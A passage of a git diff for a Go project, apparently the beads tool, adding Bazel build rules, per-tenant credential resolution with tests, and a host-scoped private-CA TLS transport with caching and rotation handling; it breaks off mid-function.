//internal/httpclient/encode:encode_test's bijection gate reads the wire +# contract's published parameter set. It reads it through spec.OpenAPIV0() +# (the go:embed above), not a relative os.ReadFile path, so no `data` +# dependency on this file is actually needed for that one read -- this export +# stays as defense in depth for any other reader of the raw YAML that package +# gains. +exports_files( + ["openapi.v0.yaml"], + visibility = ["//internal/httpclient/encode:__pkg__"], +) diff --git a/internal/httpapi/wireshape/BUILD.bazel b/internal/httpapi/wireshape/BUILD.bazel index cdae05960..b643aa0f6 100644 --- a/internal/httpapi/wireshape/BUILD.bazel +++ b/internal/httpapi/wireshape/BUILD.bazel @@ -24,3 +24,13 @@ go_test( embed = [":wireshape"], deps = ["//internal/httpapi"], ) + +# //internal/httpclient/wire:wire_test's revision-tolerance coverage test +# (TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember) +# derives the set of schemas a legacy pre-#6053 server's bare-integer +# `revision` can appear on directly from this committed golden digest, so it +# must be readable as data under `bazel test`. +exports_files( + ["testdata/golden.json"], + visibility = ["//internal/httpclient/wire:__pkg__"], +) diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel new file mode 100644 index 000000000..b93917c93 --- /dev/null +++ b/internal/httpclient/BUILD.bazel @@ -0,0 +1,55 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "httpclient", + srcs = [ + "backend_credential.go", + "ca.go", + "ca_permissions_other.go", + "ca_permissions_unix.go", + "credential.go", + "target.go", + ], + importpath = "github.com/steveyegge/beads/internal/httpclient", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/configfile", + "//internal/creds", + "//internal/httpclient/wire", + "//internal/storage/backends", + "@org_golang_x_net//http/httpproxy", + "@org_golang_x_net//idna", + ], +) + +go_test( + name = "httpclient_test", + srcs = [ + "backend_credential_test.go", + "ca_permissions_unix_test.go", + "ca_test.go", + "ca_wrong_ca_test.go", + "credential_source_test.go", + "credential_test.go", + "helpers_test.go", + "target_test.go", + ], + embed = [":httpclient"], + deps = [ + "//internal/httpapi/apigen", + "//internal/storage/backends", + ], +) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/httpclient/backend_credential.go b/internal/httpclient/backend_credential.go new file mode 100644 index 000000000..f17b15278 --- /dev/null +++ b/internal/httpclient/backend_credential.go @@ -0,0 +1,87 @@ +// Written fresh for OSS beads S2 (no bd-enterprise source copied). See +// internal/storage/backends/backends.go's OpenOptions.Credential doc: "S1 +// does not add a RequireCredential knob to enforce the multi-tenant rule +// mechanically — that is deferred to S2." This file is that knob, plus the +// wrapper type a caller uses to carry a CredentialProvider through +// backends.OpenOptions in the first place. +package httpclient + +import ( + "errors" + "fmt" + "net/url" + + "github.com/steveyegge/beads/internal/storage/backends" +) + +// ProvidedCredential adapts an embedder-supplied CredentialProvider into a +// backends.Credential — the opaque per-open marker interface OpenOptions +// carries — so a multi-tenant embedder (for example gc, Gas City: one process +// serving many workspaces, called "cities") can route a per-workspace +// credential through backends.OpenOptions without the backends package, or +// this package's own OpenWith wiring, needing to agree on anything but this +// one wrapper type. +// +// Provider is required. A ProvidedCredential with a nil Provider is refused +// by ResolveCredential exactly as a missing credential is in REQUIRE mode: a +// present-but-empty wrapper would otherwise look like "a credential was +// supplied" to a caller checking opts.Credential != nil, while actually +// authorizing nothing — the same silent-downgrade risk +// OpenOptions.Credential's own doc comment warns about for the ambient +// fallback case. +type ProvidedCredential struct { + Provider CredentialProvider +} + +// BackendCredential satisfies backends.Credential. It is a zero-cost marker +// with no behavior; see that interface's doc comment for why it exists. +func (ProvidedCredential) BackendCredential() {} + +// ErrCredentialRequired reports a REQUIRE-mode resolution with no usable +// credential: either opts.Credential was nil, or it was a ProvidedCredential +// whose Provider was nil. See ResolveCredential. +var ErrCredentialRequired = errors.New("httpclient: a credential is required for this open, but none was supplied; the ambient bearer ladder is disabled in REQUIRE mode") + +// ResolveCredential turns opts.Credential into the CredentialProvider a Dial +// authorizes requests with. +// +// Four cases: +// +// - opts.Credential is nil and require is false: the default single-tenant +// CLI posture. Returns NewBearerProvider(base), the ambient bearer ladder +// (BEADS_HTTP_TOKEN, then BEADS_HTTP_TOKEN_COMMAND, then the credentials +// file, then no credential at all). +// - opts.Credential is nil and require is true: ErrCredentialRequired. This +// is the knob a multi-tenant embedder sets so a missing per-workspace +// credential is a loud refusal instead of a silent fall-through to +// process-global ambient environment — which cannot distinguish one +// tenant's workspace from another's, exactly the risk +// OpenOptions.Credential's doc comment names. +// - opts.Credential is a ProvidedCredential with a non-nil Provider: that +// Provider is returned directly, regardless of require. An embedder that +// took the trouble to supply one has already satisfied REQUIRE mode's +// purpose. +// - opts.Credential is a ProvidedCredential with a nil Provider, or any +// other non-nil backends.Credential this package does not recognize: +// refused. A nil Provider is ErrCredentialRequired (see its doc); any +// other type is backends.ErrUnsupportedCredential, wrapped with the +// concrete type so the refusal is legible, per the contract +// Backend.OpenWith implementations must follow (see +// internal/storage/backends/backends.go and +// TestBackendOpenWithRefusesUnsupportedCredentialType). +func ResolveCredential(opts backends.OpenOptions, base *url.URL, require bool) (CredentialProvider, error) { + if opts.Credential == nil { + if require { + return nil, ErrCredentialRequired + } + return NewBearerProvider(base), nil + } + pc, ok := opts.Credential.(ProvidedCredential) + if !ok { + return nil, fmt.Errorf("httpclient: credential %T: %w", opts.Credential, backends.ErrUnsupportedCredential) + } + if pc.Provider == nil { + return nil, fmt.Errorf("httpclient: ProvidedCredential.Provider is nil: %w", ErrCredentialRequired) + } + return pc.Provider, nil +} diff --git a/internal/httpclient/backend_credential_test.go b/internal/httpclient/backend_credential_test.go new file mode 100644 index 000000000..25d5d051f --- /dev/null +++ b/internal/httpclient/backend_credential_test.go @@ -0,0 +1,109 @@ +// Written fresh for OSS beads S2 (no bd-enterprise source copied). +package httpclient + +import ( + "context" + "errors" + "net/http" + "testing" + + "github.com/steveyegge/beads/internal/storage/backends" +) + +// stubProvider is a minimal CredentialProvider for tests: it stamps a fixed +// header value so a test can prove WHICH provider ResolveCredential returned, +// without pulling in the bearer ladder's env/file machinery. +type stubProvider struct{ tag string } + +func (s stubProvider) Authorize(_ context.Context, req *http.Request) error { + req.Header.Set("X-Stub-Provider", s.tag) + return nil +} + +func (s stubProvider) Refresh(context.Context) (bool, error) { return false, nil } + +// fixtureBackendCredential is a backends.Credential this package does not +// recognise — the same role fixtureNarrowCredential plays in +// internal/storage/backends/open_with_test.go, reused here so this test does +// not depend on that package's unexported fixture. +type fixtureBackendCredential struct{} + +func (fixtureBackendCredential) BackendCredential() {} + +func TestResolveCredentialNilNotRequiredFallsBackToTheAmbientLadder(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "ambient-token") + base := mustParseURL(t, "http://127.0.0.1:8080") + + cp, err := ResolveCredential(backends.OpenOptions{}, base, false) + if err != nil { + t.Fatalf("ResolveCredential: %v", err) + } + if _, ok := cp.(*BearerProvider); !ok { + t.Fatalf("ResolveCredential returned %T, want *BearerProvider", cp) + } + if got := authorizeWith(t, cp.(*BearerProvider)); got != "Bearer ambient-token" { + t.Errorf("Authorization = %q, want the ambient ladder's token", got) + } +} + +func TestResolveCredentialNilAndRequiredRefuses(t *testing.T) { + base := mustParseURL(t, "http://127.0.0.1:8080") + + cp, err := ResolveCredential(backends.OpenOptions{}, base, true) + if cp != nil { + t.Fatal("ResolveCredential returned a non-nil provider alongside the refusal") + } + if !errors.Is(err, ErrCredentialRequired) { + t.Fatalf("ResolveCredential error = %v, want %v", err, ErrCredentialRequired) + } +} + +func TestResolveCredentialProvidedCredentialIsReturnedEvenWhenRequired(t *testing.T) { + base := mustParseURL(t, "http://127.0.0.1:8080") + want := stubProvider{tag: "tenant-7"} + + for _, require := range []bool{false, true} { + cp, err := ResolveCredential(backends.OpenOptions{Credential: ProvidedCredential{Provider: want}}, base, require) + if err != nil { + t.Fatalf("ResolveCredential(require=%v): %v", require, err) + } + if cp != CredentialProvider(want) { + t.Fatalf("ResolveCredential(require=%v) = %v, want the supplied provider", require, cp) + } + } +} + +func TestResolveCredentialProvidedCredentialWithNilProviderRefuses(t *testing.T) { + base := mustParseURL(t, "http://127.0.0.1:8080") + + cp, err := ResolveCredential(backends.OpenOptions{Credential: ProvidedCredential{}}, base, false) + if cp != nil { + t.Fatal("ResolveCredential returned a non-nil provider alongside the refusal") + } + if !errors.Is(err, ErrCredentialRequired) { + t.Fatalf("ResolveCredential error = %v, want %v", err, ErrCredentialRequired) + } +} + +func TestResolveCredentialUnrecognisedCredentialTypeRefuses(t *testing.T) { + base := mustParseURL(t, "http://127.0.0.1:8080") + + cp, err := ResolveCredential(backends.OpenOptions{Credential: fixtureBackendCredential{}}, base, false) + if cp != nil { + t.Fatal("ResolveCredential returned a non-nil provider alongside the refusal") + } + if !errors.Is(err, backends.ErrUnsupportedCredential) { + t.Fatalf("ResolveCredential error = %v, want it to wrap %v", err, backends.ErrUnsupportedCredential) + } + // require must not change this outcome: an unrecognised type is refused + // either way, since returning the ambient ladder here would silently + // ignore a credential the caller clearly intended to supply. + if _, err := ResolveCredential(backends.OpenOptions{Credential: fixtureBackendCredential{}}, base, true); !errors.Is(err, backends.ErrUnsupportedCredential) { + t.Fatalf("ResolveCredential(require=true) error = %v, want it to wrap %v", err, backends.ErrUnsupportedCredential) + } +} + +func TestProvidedCredentialSatisfiesBackendsCredential(t *testing.T) { + var _ backends.Credential = ProvidedCredential{} +} diff --git a/internal/httpclient/ca.go b/internal/httpclient/ca.go new file mode 100644 index 000000000..b43f6e927 --- /dev/null +++ b/internal/httpclient/ca.go @@ -0,0 +1,797 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/ca.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "encoding/pem" + "errors" + "fmt" + "io" + "net" + "net/http" + "net/url" + "os" + "path/filepath" + "strings" + "sync" + + "golang.org/x/net/http/httpproxy" + "golang.org/x/net/idna" +) + +// CAFileEnv names a PEM file that becomes the ENTIRE trusted root pool for the +// ONE target it names — not an addition to the system store, and not applied +// to any other target this process happens to dial. +// +// It exists for a private CA with no name constraints (the Gas City Beads +// Serve CA): a CA like that can mint a certificate for ANY hostname, so +// trusting it system-wide, or via SSL_CERT_FILE, would let it vouch for every +// TLS connection the process makes, not just the one bd serve it was issued +// for. TransportFor instead builds a pool that contains ONLY this CA and scopes +// it to one target's *http.Client. +// +// # Syntax is host-scoped: host[:port]=path +// +// The value is "host[:port]=path", e.g. "serve.example.com=/etc/bd/ca.pem" or +// "serve.example.com:8443=/etc/bd/ca.pem". A pattern with no port matches a +// target's host regardless of its own port; a pattern with a port matches only +// that exact host:port. A malformed value (no "=", or nothing on either side +// of it) is refused outright — including the old bare-path form this +// superseded, which applied to every target the process dialed regardless of +// host, the impersonation risk this syntax exists to close. A well-formed +// value whose host does not match a given target is silently not applied to +// that target: it falls through to the sidecar (or system roots), never to +// the env's CA. +// +// # Precedence: env beats sidecar, but never silently +// +// When the env var's host pattern matches a target, it wins over that +// target's http_target.json "ca_file" field (Target.CAFile, written by +// `bd connect --ca-file `) — the same rung order the bearer ladder +// already uses (BEADS_HTTP_TOKEN beats the credentials file, see +// credential.go): the environment is the operator's per-invocation override, +// and the sidecar is per-user state persisted once at connect time. But +// unlike the bearer ladder, an env value that matches a target AND disagrees +// with that target's own sidecar ca_file is a hard refusal, not a silent +// override: the two rungs naming different CAs for the same target is very +// likely a stale sidecar or a misdirected env var, and picking one silently +// would trust whichever file the operator did NOT intend. +// +// # The embedder door does not read this at all +// +// This env var is the CLI's own per-invocation override and is consulted only +// by the automatic dial path (DialWith, when the caller leaves +// DialOptions.HTTPClient nil) — the path `bd connect`, `bd ready`, and every +// other cmd/bd invocation rides. backend/http's public TransportFor (the +// embedder door gc calls explicitly to compose a transport into its own +// *http.Client) never reads it: an embedder juggling many targets in one +// process must not have any of them silently renarrowed by an ambient +// variable a completely unrelated invocation exported, so it always builds +// from Target.CAFile alone. See TransportForFile. +// +// #nosec G101 -- the NAME of an environment variable, not a credential. +const CAFileEnv = "BEADS_HTTP_CA_FILE" + +// maxIdleConnsPerHost raises TransportFor's per-host idle pool past +// http.DefaultTransport's default of 2. A CA-scoped target is, by +// construction, one host — that's the whole shape this feature exists for — +// so a concurrency-8 caller (gc's ready-veto fan-out) hammering it legitimately +// wants more than 2 warm connections; below that ceiling, every request past +// the second pays a fresh TLS handshake instead of reusing one already paid +// for. See TransportFor's "Idle connection reuse" doc. It applies equally to +// every http-backend target, CA-configured or not (see baselineTransport in +// dial.go): the RTT cost of an under-pooled host is the same either way. +const maxIdleConnsPerHost = 16 + +// maxCAFileBytes caps how large a configured CA file may be. A CA bundle is +// operator-owned configuration, not arbitrary input, and legitimate ones are a +// handful of certificates — a few KiB. A file past this ceiling is refused +// rather than parsed: it is almost certainly the wrong file (a full trust +// store, a log, something else entirely pointed at by mistake), and PEM +// decoding an unbounded file is needless work for something that is never a +// deliberate CA bundle. +const maxCAFileBytes = 1 << 20 // 1 MiB + +// resolvedCA is what resolveCAFile found: the file to trust for a target, and +// which knob it came from, so a refusal names the thing to fix rather than an +// unqualified "ca file". +type resolvedCA struct { + path string + label string +} + +// configured reports whether a CA applies at all; the zero value means +// "system roots", the same signal TransportFor's nil, nil return carries. +func (r resolvedCA) configured() bool { return r.path != "" } + +// parseCAFileEnv parses CAFileEnv's host-scoped syntax, "host[:port]=path". +// Anything else — no "=", an empty host, an empty path, or a path that is +// not absolute — is malformed and refused: there is no reasonable default +// scope for a value this package cannot parse, and falling back to "applies +// everywhere" is exactly the vulnerability this syntax replaces. The split +// is on the FIRST "=", not the last: a path may itself contain "=" (rare, +// but legal in a POSIX filename), and splitting on the last one would silently +// mis-parse the host pattern in that case rather than refusing loudly. +// Requiring the path be absolute closes a smaller but real ambiguity: a +// relative path's meaning would depend on the process's current directory at +// resolution time, which the sidecar and --ca-file paths never do. +func parseCAFileEnv(raw string) (hostPattern, path string, err error) { + eq := strings.Index(raw, "=") + if eq <= 0 || eq == len(raw)-1 { + return "", "", fmt.Errorf( + "%s %q: want host[:port]=path (e.g. serve.example.com=/etc/bd/ca.pem, or serve.example.com:8443=/etc/bd/ca.pem); a bare path is no longer accepted because it applied to every target this process dials", + CAFileEnv, raw) + } + hostPattern = strings.TrimSpace(raw[:eq]) + path = strings.TrimSpace(raw[eq+1:]) + if hostPattern == "" || path == "" { + return "", "", fmt.Errorf("%s %q: want host[:port]=path", CAFileEnv, raw) + } + if !filepath.IsAbs(path) { + return "", "", fmt.Errorf("%s %q: path %q must be absolute", CAFileEnv, raw, path) + } + if strings.HasSuffix(hostPattern, ":") { + // "h.example:" (or "[::1]:") names a colon with nothing after it — a + // stray trailing colon, almost certainly a dropped port rather than + // a deliberate pattern, and NEITHER of the two meanings a colon can + // carry here (no colon at all: any port; host:port: exactly one): + // silently picking either would be a guess, not a parse. + return "", "", fmt.Errorf("%s %q: host pattern %q ends with \":\" and no port; want host, or host:port", CAFileEnv, raw, hostPattern) + } + return hostPattern, path, nil +} + +// caHostMatches reports whether pattern (the host half of a parsed +// CAFileEnv value) names target. Both sides are IDNA/punycode-normalized to +// ASCII (so "café.example" and "xn--caf-dma.example" agree, whichever form +// an operator typed) and lowercased, with a trailing dot stripped, before +// comparison, and ports are normalized against target's own URL scheme +// (https defaults to 443, http to 80) before being compared, so "host" and +// "host:443" agree for an https target exactly as they would if the +// target's URL had spelled the port out. A pattern with no port matches +// target's host regardless of target's own port — so "example.com=..." +// applies whether the target dials :443 or :8443 — but a pattern WITH a +// port matches only that exact, normalized host:port. IPv6 literals ("[::1]" +// or "[::1]:8443") are handled the same way net/url and net.SplitHostPort +// do. A host that fails IDNA normalization on either side is reported as an +// error rather than silently compared as raw text: an unnormalizable +// pattern could otherwise disagree with a target that a browser or the +// server's own cert treats as the same name. +func caHostMatches(pattern string, target Target) (bool, error) { + pattern = strings.TrimSpace(pattern) + if pattern == "" || target.BaseURL == nil { + return false, nil + } + patternHost, patternPort, err := splitCAHostPort(pattern, "") + if err != nil { + return false, fmt.Errorf("host pattern %q: %w", pattern, err) + } + targetHost, targetPort, err := splitCAHostPort(target.BaseURL.Host, target.BaseURL.Scheme) + if err != nil { + return false, fmt.Errorf("target host %q: %w", target.BaseURL.Host, err) + } + if patternHost == "" || targetHost == "" || patternHost != targetHost { + return false, nil + } + if patternPort == "" { + return true, nil + } + return patternPort == targetPort, nil +} + +// caIDNAProfile normalizes a hostname label to lowercase ASCII/punycode +// without the stricter registration-validity checks idna.Lookup would apply +// (rejecting labels a real, already-issued certificate's SAN can legally +// contain, e.g. a bare underscore label, would turn a working pattern into a +// refusal for no security reason) — this comparison only needs both sides +// folded to the SAME ASCII form, not a verdict on whether the name could be +// newly registered. +var caIDNAProfile = idna.New(idna.MapForLookup(), idna.Transitional(true)) + +// splitCAHostPort splits hostport into an IDNA/punycode-normalized, +// lowercased, trailing-dot-stripped host and its port, handling a bracketed +// IPv6 literal with or without a port. When hostport carries no port and +// scheme names a well-known one (http, https), the returned port defaults to +// that scheme's own — the normalization caHostMatches uses so an explicit +// ":443" pattern still matches an https target whose URL never spells the +// default port out. An IPv6 literal (bracketed, or one that fails ASCII +// hostname normalization for any other reason) is returned lowercased but +// otherwise unnormalized: idna.ToASCII on a literal address is a no-op or an +// error depending on form, and this package already compares IPv6 literals +// as plain text. +func splitCAHostPort(hostport, scheme string) (host, port string, err error) { + hostport = strings.TrimSpace(hostport) + if hostport == "" { + return "", "", nil + } + isIPv6Literal := false + if h, p, splitErr := net.SplitHostPort(hostport); splitErr == nil { + host, port = h, p + } else if strings.HasPrefix(hostport, "[") && strings.HasSuffix(hostport, "]") { + host = strings.TrimSuffix(strings.TrimPrefix(hostport, "["), "]") + } else { + host = hostport + } + host = strings.TrimSuffix(host, ".") + if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") { + host = strings.TrimSuffix(strings.TrimPrefix(host, "["), "]") + } + if net.ParseIP(host) != nil { + isIPv6Literal = true + } + if isIPv6Literal { + host = strings.ToLower(host) + } else { + ascii, asciiErr := caIDNAProfile.ToASCII(host) + if asciiErr != nil { + return "", "", fmt.Errorf("host %q is not valid ASCII or a valid internationalized hostname: %w", host, asciiErr) + } + host = strings.ToLower(ascii) + } + if port == "" { + switch strings.ToLower(scheme) { + case "https": + port = "443" + case "http": + port = "80" + } + } + return host, port, nil +} + +// sameCAFile reports whether a and b name the same file: identical after +// filepath.Abs+Clean, or — when both exist — the same file by os.SameFile +// (a hardlink or bind-mount alias). This replaces a raw string compare in +// resolveCAFile's env-vs-sidecar disagreement check, which would otherwise +// refuse two paths that plainly name the same file (one relative, one +// absolute; one with a trailing "/./"; a symlink alias) purely because their +// text differs. +func sameCAFile(a, b string) bool { + a = strings.TrimSpace(a) + b = strings.TrimSpace(b) + if a == "" || b == "" { + return a == b + } + absA, errA := filepath.Abs(a) + absB, errB := filepath.Abs(b) + if errA != nil || errB != nil { + return a == b + } + absA, absB = filepath.Clean(absA), filepath.Clean(absB) + if absA == absB { + return true + } + infoA, errA2 := os.Stat(absA) + infoB, errB2 := os.Stat(absB) + if errA2 == nil && errB2 == nil { + return os.SameFile(infoA, infoB) + } + return false +} + +// resolveCAFile applies the env-over-sidecar precedence documented on +// CAFileEnv, now host-scoped: a "" path in the result means system roots +// apply, unchanged from today, for a target that matches no configured CA. +func resolveCAFile(target Target) (resolvedCA, error) { + sidecar := strings.TrimSpace(target.CAFile) + raw := strings.TrimSpace(os.Getenv(CAFileEnv)) + if raw == "" { + if sidecar == "" { + return resolvedCA{}, nil + } + return resolvedCA{path: sidecar, label: "ca_file"}, nil + } + + pattern, envPath, err := parseCAFileEnv(raw) + if err != nil { + return resolvedCA{}, err + } + + matches, err := caHostMatches(pattern, target) + if err != nil { + return resolvedCA{}, fmt.Errorf("%s %q: %w", CAFileEnv, raw, err) + } + if !matches { + if sidecar == "" { + return resolvedCA{}, nil + } + return resolvedCA{path: sidecar, label: "ca_file"}, nil + } + + if sidecar != "" && !sameCAFile(sidecar, envPath) { + return resolvedCA{}, fmt.Errorf( + "%s (%s=...) names %q for %s, but its sidecar ca_file names %q for the same target; remove one so the CA used here is unambiguous", + CAFileEnv, pattern, envPath, target, sidecar) + } + return resolvedCA{path: envPath, label: CAFileEnv}, nil +} + +// TransportFor builds the http.RoundTripper that trusts ONLY the CA named by +// target's resolved, host-scoped setting (CAFileEnv when its host pattern +// matches target, else Target.CAFile), REPLACING rather than extending the +// system root pool. It returns nil, nil when neither is configured — the +// caller's signal to keep using the default, system-roots transport, which is +// what preserves today's behavior for loopback dev and every target that has +// never set a CA. +// +// This is exported so a caller that builds its own *http.Client for other +// reasons — a tuned timeout, a proxy — can still pick up the automatic, +// env-aware resolution DialWith itself uses: compose the returned +// RoundTripper into that client's Transport field. DialWith calls this itself +// when the caller left DialOptions.HTTPClient nil, so cmd/bd's own dial path +// (the default dialer, the gateway dialer, and `bd connect`'s own verifying +// handshake) needs no further wiring. +// +// An embedder outside this module that wants a transport from an EXPLICIT +// file, ignoring CAFileEnv entirely, should call TransportForFile(target.CAFile) +// instead — see that function and backend/http's public door. +// +// The returned transport never sets ServerName: TLS's SNI and the Host header +// both continue to come from the request's URL, exactly as they do for the +// default transport, so this only narrows which root certificates are +// trusted — it never changes which host a request addresses. +// +// Errors refuse loudly rather than fall back to system roots: a missing file, +// an unreadable one, a malformed CAFileEnv value, a hygiene violation (file +// permissions, size), or one with no valid PEM-encoded certificate is a hard +// error, never a silent downgrade to public trust or to no trust check at +// all. +// +// # Idle connection reuse +// +// A CA-scoped target is still a single host, so it gets the same +// keep-alive budget raised elsewhere for this reason: http.DefaultTransport's +// MaxIdleConnsPerHost is 2, which is too small for a concurrency-8 burst +// against one target — anything past the first 2 idle connections pays a +// fresh TLS handshake, tens of milliseconds at a typical cross-region RTT. +// maxIdleConnsPerHost raises that ceiling so a warm burst reuses connections +// instead of re-handshaking per request. +// +// # Caching and root rotation +// +// The transport returned for a given absolute path is cached and reused for +// the life of the process, keyed by (absolute path, file content hash), so a +// long-lived process dialing the same target repeatedly reuses one transport +// and its warm connection pool rather than paying a fresh TLS handshake and +// leaking the previous transport's idle connections on every dial. A CHANGED +// file at the same path — a different content hash — produces a fresh +// transport, and the previous one's idle connections are closed. Ship a root +// rotation as a bundle containing BOTH the old and the new CA (a +// multi-certificate PEM, one CERTIFICATE block per certificate): every +// process, however long-lived, keeps verifying through the rotation, and +// converges on trusting only the new CA once the bundle is trimmed back down +// to it — with no window where some processes trust only the old certificate +// and others only the new one. +// +// Because it is cached, the returned transport is SHARED: every caller in +// this process asking for the same file holds the same *http.Transport. Treat +// it as read-only — wrap it rather than type-asserting and reconfiguring it — +// since setting its TLSClientConfig, Proxy or DialContext would silently +// change trust for every other holder. +// +// # HTTPS proxies +// +// When a CA is configured, the returned transport refuses to reach a target +// through an https:// proxy — see caAwareProxy. A plain http:// proxy is +// unaffected: the destination's TLS is still verified against the configured +// CA end to end through it. +func TransportFor(target Target) (http.RoundTripper, error) { + resolved, err := resolveCAFile(target) + if err != nil { + return nil, err + } + if !resolved.configured() { + return nil, nil + } + return transportForFile(resolved.path, resolved.label) +} + +// TransportForFile builds the http.RoundTripper that trusts ONLY the CA at +// path, REPLACING rather than extending the system root pool — the same kind +// of transport TransportFor builds, but for a path the caller already +// resolved itself, with NO CAFileEnv involvement at all. +// +// It exists for two callers that must not go through env resolution: +// +// - A `bd connect --ca-file X`-style command verifies the server with X +// BEFORE writing anything; if CAFileEnv happened to be set to a +// different, valid CA for the same host, resolving through the normal +// env-aware path would verify against the WRONG file relative to what +// --ca-file names, then write X unchecked. +// - backend/http's public TransportFor (the embedder door) builds from +// Target.CAFile alone, because CAFileEnv is this process's ambient, +// per-invocation override for the CLI's own dial path, and an embedder +// juggling several targets in one process must not have any of them +// silently renarrowed by a variable it may not even know exists. +// +// Like TransportFor, this participates in the (absolute path, content hash) +// transport cache — so what it returns is the same shared, read-only +// transport — and refuses loudly (missing file, hygiene, malformed PEM) +// rather than falling back to system roots. +func TransportForFile(path string) (http.RoundTripper, error) { + return transportForFile(path, "ca_file") +} + +// cachedTransport pairs a built transport with the content hash of the file +// it was built from and the sequence number of the read that produced it, so +// a later call can tell a cache hit from a rotation, and a stale concurrent +// read from a genuine one. +// +// seq, not the file's mtime, orders reads: a rotation landed by cp -p, +// rsync -t, or tar can preserve (or coincidentally produce) the SAME mtime +// as the file it replaces, down to whatever resolution the filesystem +// keeps — a same-second write is common, not exotic. Comparing mtimes then +// treats a genuine rotation as "no newer than what's cached" and keeps +// serving the superseded (possibly revoked) transport forever, since the +// file's mtime never again exceeds the stale cached one. seq instead counts +// which read of the file started first, a purely in-process fact +// transportReadSeq's own monotonic counter can always order correctly, +// whatever the filesystem clock says. +type cachedTransport struct { + hash [32]byte + seq uint64 + transport *http.Transport +} + +// maxCachedTransports bounds the process-wide transport cache. Each entry +// pins one *http.Transport and its idle connection pool for the life of the +// process; an unbounded cache keyed by absolute path would let a caller that +// churns through many distinct CA file paths over a long-lived process's +// life (many short-lived tenants, an ephemeral-workspace-heavy CI runner) +// grow it without limit. 64 comfortably covers every legitimate shape this +// package expects — one process rarely dials more than a handful of distinct +// CA-scoped hosts. +const maxCachedTransports = 64 + +var ( + transportCacheMu sync.Mutex + transportCache = map[string]*cachedTransport{} + // transportCacheOrder tracks least-recently-used first; touched under + // transportCacheMu alongside transportCache itself. + transportCacheOrder []string + // transportReadSeq is the monotonic counter behind cachedTransport.seq, + // incremented under transportCacheMu immediately BEFORE the file read it + // tags begins — never after, and never derived from the file's own + // mtime; see cachedTransport's doc. + transportReadSeq uint64 +) + +// transportRecord is what transportProvenance remembers about one +// *http.Transport this package built: the absolute path and content hash it +// was built from, at build time. +type transportRecord struct { + path string + hash [32]byte +} + +// transportProvenance maps a *http.Transport this package built to the +// transportRecord it was built from, keyed by the transport's own pointer +// identity. Unlike transportCache (bounded, LRU-evicted, keyed by path), +// this is NEVER evicted and never keyed by path: a caller that obtained a +// transport from TransportFor/TransportForFile and held onto it is entitled +// to keep using it for as long as the file it names is unchanged, even +// after churn through many other CA paths has pushed its cache entry (or a +// later rotation's entry for the same path) out of transportCache entirely. +// matchesCachedTransport consults this, then re-reads and re-hashes the +// file's CURRENT content, so eviction alone never causes a false refusal +// and a rotation is never silently trusted just because the pointer once +// belonged here. +// +// This does grow by one entry per transport ever built, for the life of the +// process — an intentional, deliberately unbounded trade against the +// alternative (a bounded/evicted provenance table would reintroduce exactly +// the false-refusal-on-eviction bug this exists to close). A process that +// churns through many thousands of distinct CA files over its lifetime +// leaks a few dozen bytes per rotation; there is no plausible deployment of +// this feature where that outweighs the correctness this buys. +var transportProvenance sync.Map // map[*http.Transport]transportRecord + +// errCAFileChangedSinceTransportBuilt is matchesCachedTransport's sentinel +// for "this IS a transport we built, but the file has changed since" — kept +// distinct from "never heard of this transport at all" so DialWith can give +// a caller a clear, specific instruction (rebuild it) instead of the generic +// unrecognized-transport refusal. +var errCAFileChangedSinceTransportBuilt = errors.New("CA file changed since this transport was built; rebuild via TransportFor or TransportForFile") + +// matchesCachedTransport reports whether rt is a *http.Transport this +// package built for path, AND that the file at path still has the exact +// content it was built from — the same instance TransportFor or +// TransportForFile would return for it right now, or would have returned +// for it at some point before path's cache entry was evicted or replaced by +// a later rotation. DialWith uses this to recognize the documented embedder +// recipe (backend/http.TransportFor(target) composed into the caller's own +// *http.Client) as trustworthy rather than refusing it outright: the caller +// built its transport through this package's own CA-scoped constructor, so +// there is nothing left to verify beyond "has the file since changed". A +// transport built any other way — even one that happens to trust the right +// CA, even one this package built for a DIFFERENT path — does not match, +// because this package cannot know what else the caller may have layered +// onto an unrelated transport. +// +// A non-nil error (other than errCAFileChangedSinceTransportBuilt, checked +// via errors.Is) means the current file could not be read at all — a +// distinct failure from "does not match", which DialWith surfaces rather +// than treating as a silent refusal indistinguishable from an unrelated +// transport. +func matchesCachedTransport(rt http.RoundTripper, path string) (bool, error) { + if rt == nil || path == "" { + return false, nil + } + t, ok := rt.(*http.Transport) + if !ok { + return false, nil + } + abs, err := filepath.Abs(path) + if err != nil { + return false, nil + } + recVal, ok := transportProvenance.Load(t) + if !ok { + return false, nil + } + rec, ok := recVal.(transportRecord) + if !ok || rec.path != abs { + return false, nil + } + // Re-read and re-hash the file's CURRENT content: recognizing the + // pointer alone would accept a transport built from a CA that has since + // been rotated (or revoked) out from under it, whether or not this + // path's cache entry still names this same transport. + data, err := readCAFile(abs, "ca_file") + if err != nil { + return false, err + } + if sha256.Sum256(data) != rec.hash { + return false, errCAFileChangedSinceTransportBuilt + } + return true, nil +} + +// transportForFile is the shared build behind TransportFor and +// TransportForFile: resolve path to an absolute one, read and hygiene-check +// it, and either reuse the cached transport for that (path, content) pair or +// build and cache a fresh one. label names which setting (CAFileEnv or +// "ca_file") a refusal should point at. +func transportForFile(path, label string) (http.RoundTripper, error) { + abs, err := filepath.Abs(path) + if err != nil { + return nil, fmt.Errorf("%s %q: resolve absolute path: %w", label, path, err) + } + + // Claim this read's sequence number BEFORE doing any file I/O, under the + // same lock the cache itself is guarded by: this is what lets two + // concurrent reads be ordered correctly regardless of what the + // filesystem's clock says about either one's mtime. See + // cachedTransport's doc. + transportCacheMu.Lock() + transportReadSeq++ + mySeq := transportReadSeq + transportCacheMu.Unlock() + + data, err := readCAFile(abs, label) + if err != nil { + return nil, err + } + hash := sha256.Sum256(data) + + transportCacheMu.Lock() + if cached, ok := transportCache[abs]; ok && 